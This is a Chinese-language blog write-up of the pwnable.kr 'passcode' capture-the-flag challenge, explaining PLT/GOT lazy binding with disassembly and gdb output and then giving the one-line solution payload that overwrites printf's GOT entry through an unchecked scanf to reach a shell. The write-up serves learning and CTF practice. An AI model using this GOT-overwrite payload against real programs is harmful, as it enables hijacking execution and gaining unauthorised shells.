您的位置:首页 > 其它

pwnable.kr 之passcode summary

2017-04-23 16:02 441 查看
本人写这篇博客完全是为了方便以后查证,若能帮上各位的忙,在线非常宽慰.

关于pwnable.kr上的passcode,这博客写的很到位,大家不妨去看一下:passcode.我在这里只是补充几个问题,再将整个过程简单化而已.

1.plt表和got表的关系

  plt表—->got表.当程序中有需要库函数时,该plt和got表上场了.我们来举一个简单的例子(test.c):

#include <stdio.h>
void showmsg(char *szMsg)
{
printf("%s\n", szMsg);
}
int main(int argc, char **argv)
{
char szMsg[] = "Hello, world!";
showmsg(szMsg);
return 0;
}


对于这个简单的程序,流程如下:

main—>showmsg—>printf.

printf函数是一个库函数,需要引入库调用,但在编译阶段是不清楚printf函数的地址(地址随机化).

void showmsg(char *szMsg)
{
8048434:   55                      push   %ebp
8048435:   89 e5                   mov    %esp,%ebp
8048437:   83 ec 18                sub    $0x18,%esp
printf("%s\n", szMsg);
804843a:   8b 45 08                mov    0x8(%ebp),%eax
804843d:   89 04 24                mov    %eax,(%esp)
8048440:   e8 0b ff ff ff          call   8048350 <puts@plt>
}
8048445:   c9                      leave
8048446:   c3                      ret


从这个函数的汇编代码上可以看出,需要跳到0x8048350,这就是puts的plt,然后:

08048350 <puts@plt>:
8048350:   ff 25 04 a0 04 08       jmp    *0x804a004
8048356:   68 08 00 00 00          push   $0x8
804835b:   e9 d0 ff ff ff          jmp    8048330 <_init+0x38>


第一条指令跳转到0x0804a004地址处的值去执行,实际上0x0804a004就是一个对应的GOT(Global Offset Table)条目的位置了.我们使用:
readelf -r test
,得出:

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   __stack_chk_fail
0804a004 R_386_JUMP_SLOT   puts
0804a008 R_386_JUMP_SLOT   __gmon_start__
0804a00c R_386_JUMP_SLOT   __libc_start_main


也得出了puts的Got的地址

(gdb) x 0x804a004
0x804a004 <puts@got.plt>:   0x08048356


看到Got对应的函数地址,但printf经过第一次的调用之后,这个值会发生是改变.

(gdb) x 0x0804a004
0x804a004 <puts@got.plt>:   0x001913b0


原因是:PLT其实是延迟绑定技术,也就是等到调用函数的时候才进行函数地址的定位.第一次调用,plt—->got—->运算.将运算结果返回给got,这个运算结果是puts函数真正的代码所在处,下回再调用printf函数的时候,直接就是plt—->got—->代码.省掉了中间的运算过程,所以说,第一次稍微慢一点,后边就快了.

第二个问题:

答案的分析:

python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode


这里主要分析
'\x00\xa0\x04\x08'+'\n'+'134514147\n'


0x0804a000是print函数的got表中的地址,在welcome中输入96个a+’\x00\xa0\x04\x08’.结果呢,login中的scanf函数在输入的时候,直接变量的地址就是:0x0804a000,输入的134514147(0x080485e3),将0x0804a000原有的地址给覆写了.这就是got表复写.在执行printf函数的时候,实际上执行的是system函数.

简单的说:

plt—->got—->真地址(printf函数的代码),经过我们覆写之后,

plt—->got—->假地址(system函数的代码).

这样我们就获得了shell.

第三个问题:为什么输入的内容刚好覆写printf函数的got表呢?

原因是:scanf(“%d”,a);无&符号.听别人讲:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址.这个栈应该是变量a的栈.就是说将a的值,16进制化作为地址,将你输入的内容写入这个地址中.如果这个地址不存在或不可写,将会报错.



从这个地方,我们可以看到无&的,取得地址是0x00007fff.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  pwnable-kr